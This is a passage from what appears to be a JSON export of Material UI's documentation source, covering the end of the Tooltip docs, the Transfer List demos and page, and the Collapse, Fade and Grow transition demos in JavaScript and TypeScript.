`describeChild` prop.\nOtherwise, you can use the default behavior and let the tooltip label the trigger.\n\n{{\"demo\": \"AccessibilityTooltips.js\"}}\n\n## Positioned tooltips\n\nThe `Tooltip` has 12 **placement** choices.\nThey don't have directional arrows; instead, they rely on motion emanating from the source to convey direction.\n\n{{\"demo\": \"PositionedTooltips.js\"}}\n\n## Customization\n\nHere are some examples of customizing the component.\nYou can learn more about this in the [overrides documentation page](/material-ui/customization/how-to-customize/).\n\n{{\"demo\": \"CustomizedTooltips.js\"}}\n\n## Arrow tooltips\n\nYou can use the `arrow` prop to give your tooltip an arrow indicating which element it refers to.\n\n{{\"demo\": \"ArrowTooltips.js\"}}\n\n## Distance from anchor\n\nTo adjust the distance between the tooltip and its anchor, you can use the `slotProps` prop to modify the [offset](https://popper.js.org/docs/v2/modifiers/offset/) of the popper.\n\n{{\"demo\": \"TooltipOffset.js\"}}\n\nAlternatively, you can use the `slotProps` prop to customize the margin of the popper.\n\n{{\"demo\": \"TooltipMargin.js\"}}\n\n## Custom child element\n\nThe tooltip needs to apply DOM event listeners to its child element.\nIf the child is a custom React element, you need to make sure that it spreads its props to the underlying DOM element.\n\n```jsx\nconst MyComponent = React.forwardRef(function MyComponent(props, ref) {\n  //  Spread the props to the underlying DOM element.\n  return (\n    <div {...props} ref={ref}>\n      Bin\n    </div>\n  );\n});\n\n// ...\n\n<Tooltip title=\"Delete\">\n  <MyComponent />\n</Tooltip>;\n```\n\nIf using a class component as a child, you'll also need to ensure that the ref is forwarded to the underlying DOM element. (A ref to the class component itself will not work.)\n\n```jsx\nclass MyComponent extends React.Component {\n  render() {\n    const { innerRef, ...props } = this.props;\n    //  Spread the props to the underlying DOM element.\n    return (\n      <div {...props} ref={innerRef}>\n        Bin\n      </div>\n    );\n  }\n}\n\n// Wrap MyComponent to forward the ref as expected by Tooltip\nconst WrappedMyComponent = React.forwardRef(function WrappedMyComponent(props, ref) {\n  return <MyComponent {...props} innerRef={ref} />;\n});\n\n// ...\n\n<Tooltip title=\"Delete\">\n  <WrappedMyComponent />\n</Tooltip>;\n```\n\n## Triggers\n\nYou can define the types of events that cause a tooltip to show.\n\nThe touch action requires a long press due to the `enterTouchDelay` prop being set to `700`ms by default.\n\n{{\"demo\": \"TriggersTooltips.js\"}}\n\n## Controlled tooltips\n\nYou can use the `open`, `onOpen` and `onClose` props to control the behavior of the tooltip.\n\n{{\"demo\": \"ControlledTooltips.js\"}}\n\n## Variable width\n\nThe `Tooltip` wraps long text by default to make it readable.\n\n{{\"demo\": \"VariableWidth.js\"}}\n\n## Interactive\n\nTooltips are interactive by default (to pass [WCAG 2.1 success criterion 1.4.13](https://www.w3.org/TR/WCAG21/#content-on-hover-or-focus)).\nIt won't close when the user hovers over the tooltip before the `leaveDelay` is expired.\nYou can disable this behavior (thus failing the success criterion which is required to reach level AA) by passing `disableInteractive`.\n\n{{\"demo\": \"NonInteractiveTooltips.js\"}}\n\n## Disabled elements\n\nBy default disabled elements like `<button>` do not trigger user interactions so a `Tooltip` will not activate on normal events like hover. To accommodate disabled elements, add a simple wrapper element, such as a `span`.\n\n:::warning\nIn order to work with Safari, you need at least one display block or flex item below the tooltip wrapper.\n:::\n\n{{\"demo\": \"DisabledTooltips.js\"}}\n\n:::warning\nIf you're not wrapping a Material UI component that inherits from `ButtonBase`, for instance, a native `<button>` element, you should also add the CSS property _pointer-events: none;_ to your element when disabled:\n:::\n\n```jsx\n<Tooltip describeChild title=\"You don't have permission to do this\">\n  <span>\n    <button disabled={disabled} style={disabled ? { pointerEvents: 'none' } : {}}>\n      A disabled button\n    </button>\n  </span>\n</Tooltip>\n```\n\n## Transitions\n\nUse a different transition.\n\n{{\"demo\": \"TransitionsTooltips.js\"}}\n\n## Follow cursor\n\nYou can enable the tooltip to follow the cursor by setting `followCursor={true}`.\n\n{{\"demo\": \"FollowCursorTooltips.js\"}}\n\n## Virtual element\n\nIn the event you need to implement a custom placement, you can use the `anchorEl` prop:\nThe value of the `anchorEl` prop can be a reference to a fake DOM element.\nYou need to create an object shaped like the [`VirtualElement`](https://popper.js.org/docs/v2/virtual-elements/).\n\n{{\"demo\": \"AnchorElTooltips.js\"}}\n\n## Showing and hiding\n\nThe tooltip is normally shown immediately when the user's mouse hovers over the element, and hides immediately when the user's mouse leaves. A delay in showing or hiding the tooltip can be added through the `enterDelay` and `leaveDelay` props.\n\nOn mobile, the tooltip is displayed when the user longpresses the element and hides after a delay of 1500ms. You can disable this feature with the `disableTouchListener` prop.\n\n{{\"demo\": \"DelayTooltips.js\"}}\n\n## Accessibility\n\n(WAI-ARIA: https://www.w3.org/WAI/ARIA/apg/patterns/tooltip/)\n\nTooltips should wrap triggers that are focusable and hoverable (for example, buttons) so that all users can activate them. When tooltips are displayed, they are automatically linked to the trigger. The trigger element is either labeled or described by the tooltip content. However, tooltip content should not be used as a full text alternative for truncated content.\n"
  },
  {
    "path": "docs/data/material/components/transfer-list/SelectAllTransferList.js",
    "content": "import * as React from 'react';\nimport Grid from '@mui/material/Grid';\nimport List from '@mui/material/List';\nimport Card from '@mui/material/Card';\nimport CardHeader from '@mui/material/CardHeader';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemText from '@mui/material/ListItemText';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport Checkbox from '@mui/material/Checkbox';\nimport Button from '@mui/material/Button';\nimport Divider from '@mui/material/Divider';\nimport Stack from '@mui/material/Stack';\n\nfunction not(a, b) {\n  return a.filter((value) => !b.includes(value));\n}\n\nfunction intersection(a, b) {\n  return a.filter((value) => b.includes(value));\n}\n\nfunction union(a, b) {\n  return [...a, ...not(b, a)];\n}\n\nexport default function SelectAllTransferList() {\n  const [checked, setChecked] = React.useState([]);\n  const [left, setLeft] = React.useState([0, 1, 2, 3]);\n  const [right, setRight] = React.useState([4, 5, 6, 7]);\n\n  const leftChecked = intersection(checked, left);\n  const rightChecked = intersection(checked, right);\n\n  const handleToggle = (value) => () => {\n    const currentIndex = checked.indexOf(value);\n    const newChecked = [...checked];\n\n    if (currentIndex === -1) {\n      newChecked.push(value);\n    } else {\n      newChecked.splice(currentIndex, 1);\n    }\n\n    setChecked(newChecked);\n  };\n\n  const numberOfChecked = (items) => intersection(checked, items).length;\n\n  const handleToggleAll = (items) => () => {\n    if (numberOfChecked(items) === items.length) {\n      setChecked(not(checked, items));\n    } else {\n      setChecked(union(checked, items));\n    }\n  };\n\n  const handleCheckedRight = () => {\n    setRight(right.concat(leftChecked));\n    setLeft(not(left, leftChecked));\n    setChecked(not(checked, leftChecked));\n  };\n\n  const handleCheckedLeft = () => {\n    setLeft(left.concat(rightChecked));\n    setRight(not(right, rightChecked));\n    setChecked(not(checked, rightChecked));\n  };\n\n  const customList = (title, items) => (\n    <Card>\n      <CardHeader\n        sx={{ px: 2, py: 1 }}\n        avatar={\n          <Checkbox\n            onClick={handleToggleAll(items)}\n            checked={numberOfChecked(items) === items.length && items.length !== 0}\n            indeterminate={\n              numberOfChecked(items) !== items.length && numberOfChecked(items) !== 0\n            }\n            disabled={items.length === 0}\n            slotProps={{\n              input: { 'aria-label': 'all items selected' },\n            }}\n          />\n        }\n        title={title}\n        subheader={`${numberOfChecked(items)}/${items.length} selected`}\n      />\n      <Divider />\n      <List\n        sx={{\n          width: 200,\n          height: 230,\n          bgcolor: 'background.paper',\n          overflow: 'auto',\n        }}\n        dense\n        component=\"div\"\n        role=\"list\"\n      >\n        {items.map((value) => {\n          const labelId = `transfer-list-all-item-${value}-label`;\n\n          return (\n            <ListItemButton\n              key={value}\n              role=\"listitem\"\n              onClick={handleToggle(value)}\n            >\n              <ListItemIcon>\n                <Checkbox\n                  checked={checked.includes(value)}\n                  tabIndex={-1}\n                  disableRipple\n                  slotProps={{\n                    input: { 'aria-labelledby': labelId },\n                  }}\n                />\n              </ListItemIcon>\n              <ListItemText id={labelId} primary={`List item ${value + 1}`} />\n            </ListItemButton>\n          );\n        })}\n      </List>\n    </Card>\n  );\n\n  return (\n    <Grid\n      container\n      spacing={2}\n      sx={{ justifyContent: 'center', alignItems: 'center' }}\n    >\n      <Grid>{customList('Choices', left)}</Grid>\n      <Stack>\n        <Button\n          sx={{ my: 0.5 }}\n          variant=\"outlined\"\n          size=\"small\"\n          onClick={handleCheckedRight}\n          disabled={leftChecked.length === 0}\n          aria-label=\"move selected right\"\n        >\n          &gt;\n        </Button>\n        <Button\n          sx={{ my: 0.5 }}\n          variant=\"outlined\"\n          size=\"small\"\n          onClick={handleCheckedLeft}\n          disabled={rightChecked.length === 0}\n          aria-label=\"move selected left\"\n        >\n          &lt;\n        </Button>\n      </Stack>\n      <Grid>{customList('Chosen', right)}</Grid>\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/transfer-list/SelectAllTransferList.tsx",
    "content": "import * as React from 'react';\nimport Grid from '@mui/material/Grid';\nimport List from '@mui/material/List';\nimport Card from '@mui/material/Card';\nimport CardHeader from '@mui/material/CardHeader';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemText from '@mui/material/ListItemText';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport Checkbox from '@mui/material/Checkbox';\nimport Button from '@mui/material/Button';\nimport Divider from '@mui/material/Divider';\nimport Stack from '@mui/material/Stack';\n\nfunction not(a: readonly number[], b: readonly number[]) {\n  return a.filter((value) => !b.includes(value));\n}\n\nfunction intersection(a: readonly number[], b: readonly number[]) {\n  return a.filter((value) => b.includes(value));\n}\n\nfunction union(a: readonly number[], b: readonly number[]) {\n  return [...a, ...not(b, a)];\n}\n\nexport default function SelectAllTransferList() {\n  const [checked, setChecked] = React.useState<readonly number[]>([]);\n  const [left, setLeft] = React.useState<readonly number[]>([0, 1, 2, 3]);\n  const [right, setRight] = React.useState<readonly number[]>([4, 5, 6, 7]);\n\n  const leftChecked = intersection(checked, left);\n  const rightChecked = intersection(checked, right);\n\n  const handleToggle = (value: number) => () => {\n    const currentIndex = checked.indexOf(value);\n    const newChecked = [...checked];\n\n    if (currentIndex === -1) {\n      newChecked.push(value);\n    } else {\n      newChecked.splice(currentIndex, 1);\n    }\n\n    setChecked(newChecked);\n  };\n\n  const numberOfChecked = (items: readonly number[]) =>\n    intersection(checked, items).length;\n\n  const handleToggleAll = (items: readonly number[]) => () => {\n    if (numberOfChecked(items) === items.length) {\n      setChecked(not(checked, items));\n    } else {\n      setChecked(union(checked, items));\n    }\n  };\n\n  const handleCheckedRight = () => {\n    setRight(right.concat(leftChecked));\n    setLeft(not(left, leftChecked));\n    setChecked(not(checked, leftChecked));\n  };\n\n  const handleCheckedLeft = () => {\n    setLeft(left.concat(rightChecked));\n    setRight(not(right, rightChecked));\n    setChecked(not(checked, rightChecked));\n  };\n\n  const customList = (title: React.ReactNode, items: readonly number[]) => (\n    <Card>\n      <CardHeader\n        sx={{ px: 2, py: 1 }}\n        avatar={\n          <Checkbox\n            onClick={handleToggleAll(items)}\n            checked={numberOfChecked(items) === items.length && items.length !== 0}\n            indeterminate={\n              numberOfChecked(items) !== items.length && numberOfChecked(items) !== 0\n            }\n            disabled={items.length === 0}\n            slotProps={{\n              input: { 'aria-label': 'all items selected' },\n            }}\n          />\n        }\n        title={title}\n        subheader={`${numberOfChecked(items)}/${items.length} selected`}\n      />\n      <Divider />\n      <List\n        sx={{\n          width: 200,\n          height: 230,\n          bgcolor: 'background.paper',\n          overflow: 'auto',\n        }}\n        dense\n        component=\"div\"\n        role=\"list\"\n      >\n        {items.map((value: number) => {\n          const labelId = `transfer-list-all-item-${value}-label`;\n\n          return (\n            <ListItemButton\n              key={value}\n              role=\"listitem\"\n              onClick={handleToggle(value)}\n            >\n              <ListItemIcon>\n                <Checkbox\n                  checked={checked.includes(value)}\n                  tabIndex={-1}\n                  disableRipple\n                  slotProps={{\n                    input: { 'aria-labelledby': labelId },\n                  }}\n                />\n              </ListItemIcon>\n              <ListItemText id={labelId} primary={`List item ${value + 1}`} />\n            </ListItemButton>\n          );\n        })}\n      </List>\n    </Card>\n  );\n\n  return (\n    <Grid\n      container\n      spacing={2}\n      sx={{ justifyContent: 'center', alignItems: 'center' }}\n    >\n      <Grid>{customList('Choices', left)}</Grid>\n      <Stack>\n        <Button\n          sx={{ my: 0.5 }}\n          variant=\"outlined\"\n          size=\"small\"\n          onClick={handleCheckedRight}\n          disabled={leftChecked.length === 0}\n          aria-label=\"move selected right\"\n        >\n          &gt;\n        </Button>\n        <Button\n          sx={{ my: 0.5 }}\n          variant=\"outlined\"\n          size=\"small\"\n          onClick={handleCheckedLeft}\n          disabled={rightChecked.length === 0}\n          aria-label=\"move selected left\"\n        >\n          &lt;\n        </Button>\n      </Stack>\n      <Grid>{customList('Chosen', right)}</Grid>\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/transfer-list/TransferList.js",
    "content": "import * as React from 'react';\nimport Grid from '@mui/material/Grid';\nimport List from '@mui/material/List';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport Checkbox from '@mui/material/Checkbox';\nimport Button from '@mui/material/Button';\nimport Paper from '@mui/material/Paper';\nimport Stack from '@mui/material/Stack';\n\nfunction not(a, b) {\n  return a.filter((value) => !b.includes(value));\n}\n\nfunction intersection(a, b) {\n  return a.filter((value) => b.includes(value));\n}\n\nexport default function TransferList() {\n  const [checked, setChecked] = React.useState([]);\n  const [left, setLeft] = React.useState([0, 1, 2, 3]);\n  const [right, setRight] = React.useState([4, 5, 6, 7]);\n\n  const leftChecked = intersection(checked, left);\n  const rightChecked = intersection(checked, right);\n\n  const handleToggle = (value) => () => {\n    const currentIndex = checked.indexOf(value);\n    const newChecked = [...checked];\n\n    if (currentIndex === -1) {\n      newChecked.push(value);\n    } else {\n      newChecked.splice(currentIndex, 1);\n    }\n\n    setChecked(newChecked);\n  };\n\n  const handleAllRight = () => {\n    setRight(right.concat(left));\n    setLeft([]);\n  };\n\n  const handleCheckedRight = () => {\n    setRight(right.concat(leftChecked));\n    setLeft(not(left, leftChecked));\n    setChecked(not(checked, leftChecked));\n  };\n\n  const handleCheckedLeft = () => {\n    setLeft(left.concat(rightChecked));\n    setRight(not(right, rightChecked));\n    setChecked(not(checked, rightChecked));\n  };\n\n  const handleAllLeft = () => {\n    setLeft(left.concat(right));\n    setRight([]);\n  };\n\n  const customList = (items) => (\n    <Paper sx={{ width: 200, height: 230, overflow: 'auto' }}>\n      <List dense component=\"div\" role=\"list\">\n        {items.map((value) => {\n          const labelId = `transfer-list-item-${value}-label`;\n\n          return (\n            <ListItemButton\n              key={value}\n              role=\"listitem\"\n              onClick={handleToggle(value)}\n            >\n              <ListItemIcon>\n                <Checkbox\n                  checked={checked.includes(value)}\n                  tabIndex={-1}\n                  disableRipple\n                  slotProps={{\n                    input: { 'aria-labelledby': labelId },\n                  }}\n                />\n              </ListItemIcon>\n              <ListItemText id={labelId} primary={`List item ${value + 1}`} />\n            </ListItemButton>\n          );\n        })}\n      </List>\n    </Paper>\n  );\n\n  return (\n    <Grid\n      container\n      spacing={2}\n      sx={{ justifyContent: 'center', alignItems: 'center' }}\n    >\n      <Grid>{customList(left)}</Grid>\n      <Stack>\n        <Button\n          sx={{ my: 0.5 }}\n          variant=\"outlined\"\n          size=\"small\"\n          onClick={handleAllRight}\n          disabled={left.length === 0}\n          aria-label=\"move all right\"\n        >\n          ≫\n        </Button>\n        <Button\n          sx={{ my: 0.5 }}\n          variant=\"outlined\"\n          size=\"small\"\n          onClick={handleCheckedRight}\n          disabled={leftChecked.length === 0}\n          aria-label=\"move selected right\"\n        >\n          &gt;\n        </Button>\n        <Button\n          sx={{ my: 0.5 }}\n          variant=\"outlined\"\n          size=\"small\"\n          onClick={handleCheckedLeft}\n          disabled={rightChecked.length === 0}\n          aria-label=\"move selected left\"\n        >\n          &lt;\n        </Button>\n        <Button\n          sx={{ my: 0.5 }}\n          variant=\"outlined\"\n          size=\"small\"\n          onClick={handleAllLeft}\n          disabled={right.length === 0}\n          aria-label=\"move all left\"\n        >\n          ≪\n        </Button>\n      </Stack>\n      <Grid>{customList(right)}</Grid>\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/transfer-list/TransferList.tsx",
    "content": "import * as React from 'react';\nimport Grid from '@mui/material/Grid';\nimport List from '@mui/material/List';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport Checkbox from '@mui/material/Checkbox';\nimport Button from '@mui/material/Button';\nimport Paper from '@mui/material/Paper';\nimport Stack from '@mui/material/Stack';\n\nfunction not(a: readonly number[], b: readonly number[]) {\n  return a.filter((value) => !b.includes(value));\n}\n\nfunction intersection(a: readonly number[], b: readonly number[]) {\n  return a.filter((value) => b.includes(value));\n}\n\nexport default function TransferList() {\n  const [checked, setChecked] = React.useState<readonly number[]>([]);\n  const [left, setLeft] = React.useState<readonly number[]>([0, 1, 2, 3]);\n  const [right, setRight] = React.useState<readonly number[]>([4, 5, 6, 7]);\n\n  const leftChecked = intersection(checked, left);\n  const rightChecked = intersection(checked, right);\n\n  const handleToggle = (value: number) => () => {\n    const currentIndex = checked.indexOf(value);\n    const newChecked = [...checked];\n\n    if (currentIndex === -1) {\n      newChecked.push(value);\n    } else {\n      newChecked.splice(currentIndex, 1);\n    }\n\n    setChecked(newChecked);\n  };\n\n  const handleAllRight = () => {\n    setRight(right.concat(left));\n    setLeft([]);\n  };\n\n  const handleCheckedRight = () => {\n    setRight(right.concat(leftChecked));\n    setLeft(not(left, leftChecked));\n    setChecked(not(checked, leftChecked));\n  };\n\n  const handleCheckedLeft = () => {\n    setLeft(left.concat(rightChecked));\n    setRight(not(right, rightChecked));\n    setChecked(not(checked, rightChecked));\n  };\n\n  const handleAllLeft = () => {\n    setLeft(left.concat(right));\n    setRight([]);\n  };\n\n  const customList = (items: readonly number[]) => (\n    <Paper sx={{ width: 200, height: 230, overflow: 'auto' }}>\n      <List dense component=\"div\" role=\"list\">\n        {items.map((value: number) => {\n          const labelId = `transfer-list-item-${value}-label`;\n\n          return (\n            <ListItemButton\n              key={value}\n              role=\"listitem\"\n              onClick={handleToggle(value)}\n            >\n              <ListItemIcon>\n                <Checkbox\n                  checked={checked.includes(value)}\n                  tabIndex={-1}\n                  disableRipple\n                  slotProps={{\n                    input: { 'aria-labelledby': labelId },\n                  }}\n                />\n              </ListItemIcon>\n              <ListItemText id={labelId} primary={`List item ${value + 1}`} />\n            </ListItemButton>\n          );\n        })}\n      </List>\n    </Paper>\n  );\n\n  return (\n    <Grid\n      container\n      spacing={2}\n      sx={{ justifyContent: 'center', alignItems: 'center' }}\n    >\n      <Grid>{customList(left)}</Grid>\n      <Stack>\n        <Button\n          sx={{ my: 0.5 }}\n          variant=\"outlined\"\n          size=\"small\"\n          onClick={handleAllRight}\n          disabled={left.length === 0}\n          aria-label=\"move all right\"\n        >\n          ≫\n        </Button>\n        <Button\n          sx={{ my: 0.5 }}\n          variant=\"outlined\"\n          size=\"small\"\n          onClick={handleCheckedRight}\n          disabled={leftChecked.length === 0}\n          aria-label=\"move selected right\"\n        >\n          &gt;\n        </Button>\n        <Button\n          sx={{ my: 0.5 }}\n          variant=\"outlined\"\n          size=\"small\"\n          onClick={handleCheckedLeft}\n          disabled={rightChecked.length === 0}\n          aria-label=\"move selected left\"\n        >\n          &lt;\n        </Button>\n        <Button\n          sx={{ my: 0.5 }}\n          variant=\"outlined\"\n          size=\"small\"\n          onClick={handleAllLeft}\n          disabled={right.length === 0}\n          aria-label=\"move all left\"\n        >\n          ≪\n        </Button>\n      </Stack>\n      <Grid>{customList(right)}</Grid>\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/transfer-list/transfer-list.md",
    "content": "---\nproductId: material-ui\ntitle: Transfer list React component\ncomponents: List, ListItem, Checkbox, Switch\ngithubLabel: 'scope: transfer list'\n---\n\n# Transfer List\n\n<p class=\"description\">A Transfer List (or \"shuttle\") enables the user to move one or more list items between lists.</p>\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Basic transfer list\n\nFor completeness, this example includes buttons for \"move all\", but not every transfer list needs these.\n\n{{\"demo\": \"TransferList.js\", \"bg\": true}}\n\n## Enhanced transfer list\n\nThis example exchanges the \"move all\" buttons for a \"select all / select none\" checkbox and adds a counter.\n\n{{\"demo\": \"SelectAllTransferList.js\", \"bg\": true}}\n\n## Limitations\n\nThe component comes with a couple of limitations:\n\n- It only works on desktop.\n  If you have a limited amount of options to select, prefer the [Autocomplete](/material-ui/react-autocomplete/#multiple-values) component.\n  If mobile support is important for you, have a look at [#27579](https://github.com/mui/material-ui/issues/27579).\n- There are no high-level components exported from npm. The demos are based on composition.\n  If this is important for you, have a look at [#27579](https://github.com/mui/material-ui/issues/27579).\n"
  },
  {
    "path": "docs/data/material/components/transitions/SimpleCollapse.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Switch from '@mui/material/Switch';\nimport Paper from '@mui/material/Paper';\nimport Collapse from '@mui/material/Collapse';\nimport FormControlLabel from '@mui/material/FormControlLabel';\n\nconst icon = (\n  <Paper sx={{ m: 1, width: 100, height: 100 }} elevation={4}>\n    <svg width=\"100\" height=\"100\">\n      <Box\n        component=\"polygon\"\n        points=\"0,100 50,00, 100,100\"\n        sx={(theme) => ({\n          fill: theme.palette.common.white,\n          stroke: theme.palette.divider,\n          strokeWidth: 1,\n        })}\n      />\n    </svg>\n  </Paper>\n);\n\nexport default function SimpleCollapse() {\n  const [checked, setChecked] = React.useState(false);\n\n  const handleChange = () => {\n    setChecked((prev) => !prev);\n  };\n\n  return (\n    <Box sx={{ height: 300 }}>\n      <FormControlLabel\n        control={<Switch checked={checked} onChange={handleChange} />}\n        label=\"Show\"\n      />\n      <Box\n        sx={{\n          '& > :not(style)': {\n            display: 'flex',\n            justifyContent: 'space-around',\n            height: 120,\n            width: 250,\n          },\n        }}\n      >\n        <div>\n          <Collapse in={checked}>{icon}</Collapse>\n          <Collapse in={checked} collapsedSize={40}>\n            {icon}\n          </Collapse>\n        </div>\n        <div>\n          <Box sx={{ width: '50%' }}>\n            <Collapse orientation=\"horizontal\" in={checked}>\n              {icon}\n            </Collapse>\n          </Box>\n          <Box sx={{ width: '50%' }}>\n            <Collapse orientation=\"horizontal\" in={checked} collapsedSize={40}>\n              {icon}\n            </Collapse>\n          </Box>\n        </div>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/transitions/SimpleCollapse.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Switch from '@mui/material/Switch';\nimport Paper from '@mui/material/Paper';\nimport Collapse from '@mui/material/Collapse';\nimport FormControlLabel from '@mui/material/FormControlLabel';\n\nconst icon = (\n  <Paper sx={{ m: 1, width: 100, height: 100 }} elevation={4}>\n    <svg width=\"100\" height=\"100\">\n      <Box\n        component=\"polygon\"\n        points=\"0,100 50,00, 100,100\"\n        sx={(theme) => ({\n          fill: theme.palette.common.white,\n          stroke: theme.palette.divider,\n          strokeWidth: 1,\n        })}\n      />\n    </svg>\n  </Paper>\n);\n\nexport default function SimpleCollapse() {\n  const [checked, setChecked] = React.useState(false);\n\n  const handleChange = () => {\n    setChecked((prev) => !prev);\n  };\n\n  return (\n    <Box sx={{ height: 300 }}>\n      <FormControlLabel\n        control={<Switch checked={checked} onChange={handleChange} />}\n        label=\"Show\"\n      />\n      <Box\n        sx={{\n          '& > :not(style)': {\n            display: 'flex',\n            justifyContent: 'space-around',\n            height: 120,\n            width: 250,\n          },\n        }}\n      >\n        <div>\n          <Collapse in={checked}>{icon}</Collapse>\n          <Collapse in={checked} collapsedSize={40}>\n            {icon}\n          </Collapse>\n        </div>\n        <div>\n          <Box sx={{ width: '50%' }}>\n            <Collapse orientation=\"horizontal\" in={checked}>\n              {icon}\n            </Collapse>\n          </Box>\n          <Box sx={{ width: '50%' }}>\n            <Collapse orientation=\"horizontal\" in={checked} collapsedSize={40}>\n              {icon}\n            </Collapse>\n          </Box>\n        </div>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/transitions/SimpleFade.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Switch from '@mui/material/Switch';\nimport Paper from '@mui/material/Paper';\nimport Fade from '@mui/material/Fade';\nimport FormControlLabel from '@mui/material/FormControlLabel';\n\nconst icon = (\n  <Paper sx={{ m: 1, width: 100, height: 100 }} elevation={4}>\n    <svg width=\"100\" height=\"100\">\n      <Box\n        component=\"polygon\"\n        points=\"0,100 50,00, 100,100\"\n        sx={(theme) => ({\n          fill: theme.palette.common.white,\n          stroke: theme.palette.divider,\n          strokeWidth: 1,\n        })}\n      />\n    </svg>\n  </Paper>\n);\n\nexport default function SimpleFade() {\n  const [checked, setChecked] = React.useState(false);\n\n  const handleChange = () => {\n    setChecked((prev) => !prev);\n  };\n\n  return (\n    <Box sx={{ height: 180 }}>\n      <FormControlLabel\n        control={<Switch checked={checked} onChange={handleChange} />}\n        label=\"Show\"\n      />\n      <Box sx={{ display: 'flex' }}>\n        <Fade in={checked}>{icon}</Fade>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/transitions/SimpleFade.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Switch from '@mui/material/Switch';\nimport Paper from '@mui/material/Paper';\nimport Fade from '@mui/material/Fade';\nimport FormControlLabel from '@mui/material/FormControlLabel';\n\nconst icon = (\n  <Paper sx={{ m: 1, width: 100, height: 100 }} elevation={4}>\n    <svg width=\"100\" height=\"100\">\n      <Box\n        component=\"polygon\"\n        points=\"0,100 50,00, 100,100\"\n        sx={(theme) => ({\n          fill: theme.palette.common.white,\n          stroke: theme.palette.divider,\n          strokeWidth: 1,\n        })}\n      />\n    </svg>\n  </Paper>\n);\n\nexport default function SimpleFade() {\n  const [checked, setChecked] = React.useState(false);\n\n  const handleChange = () => {\n    setChecked((prev) => !prev);\n  };\n\n  return (\n    <Box sx={{ height: 180 }}>\n      <FormControlLabel\n        control={<Switch checked={checked} onChange={handleChange} />}\n        label=\"Show\"\n      />\n      <Box sx={{ display: 'flex' }}>\n        <Fade in={checked}>{icon}</Fade>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/transitions/SimpleFade.tsx.preview",
    "content": "<FormControlLabel\n  control={<Switch checked={checked} onChange={handleChange} />}\n  label=\"Show\"\n/>\n<Box sx={{ display: 'flex' }}>\n  <Fade in={checked}>{icon}</Fade>\n</Box>"
  },
  {
    "path": "docs/data/material/components/transitions/SimpleGrow.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Switch from '@mui/material/Switch';\nimport Paper from '@mui/material/Paper';\nimport Grow from '@mui/material/Grow';\nimport FormControlLabel from '@mui/material/FormControlLabel';\n\nconst icon = (\n  <Paper sx={{ m: 1, width: 100, height: 100 }} elevation={4}>\n    <svg width=\"100\" height=\"100\">\n      <Box\n        component=\"polygon\"\n        points=\"0,100 50,00, 100,100\"\n        sx={(theme) => ({\n          fill: theme.palette.common.white,\n          stroke: theme.palette.divider,\n          strokeWidth: 1,\n        })}\n      />\n    </svg>\n  </Paper>\n);\n\nexport default function SimpleGrow() {\n  const [checked, setChecked] = React.useState(false);\n\n  const handleChange = () => {\n    setChecked((prev) => !prev);\n  };\n\n  return (\n    <Box sx={{ height: 180 }}>\n      <FormControlLabel\n        control={<Switch checked={checked} onChange={handleChange} />}\n        label=\"Show\"\n      />\n      <Box sx={{ display: 'flex' }}>\n        <Grow in={checked}>{icon}</Grow>\n        {/* Conditionally applies the timeout prop to change the entry speed. */}\n        <Grow\n          in={checked}\n          style={{ transformOrigin: '0 0 0' }}\n          {...(checked ? { timeout: 1000 } : {})}\n        >\n          {icon}\n        </Grow>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/transitions/SimpleGrow.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Switch from '@mui/material/Switch';\nimport Paper from '@mui/material/Paper';\nimport Grow from '@mui/material/Grow';\nimport FormControlLabel from '@mui/material/FormControlLabel';\n\nconst icon = (\n  <Paper sx={{ m: 1, width: 100, height: 100 }} elevation={4}>\n    <svg width=\"100\" height=\"100\">\n      <Box\n        component=\"polygon\"\n        points=\"0,100 50,00, 100,100\"\n        sx={(theme) => ({\n          fill: theme.palette.common.white,\n          stroke: theme.palette.divider,\n          strokeWidth: 1,\n        })}\n      />\n    </svg>\n  </Paper>\n);\n\nexport default function SimpleGrow() {\n  const [checked, setChecked] = React.useState(false);\n\n  const handleChange = () => {\n    setChecked((prev) => !prev);\n  };\n\n  return (\n    <Box sx={{ height: 180 }}>\n      <FormControlLabel\n        control={<Switch checked={checked} onChange={handleChange} />}\n        label=\"Show\"\n      />\n      <Box sx={{ display: 'flex' }}>\n        <Grow in={checked}>{icon}</Grow>\n        {/* Conditionally applies the timeout prop to change the entry speed. */}\n        <Grow\n          in={checked}\n          style={{ transformOrigin: '0 0 0' }}\n          {...(checked ? { timeout: 1000 } : {})}\n        >\n          {icon}\n        </Grow>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/transitions/SimpleGrow.tsx.preview",
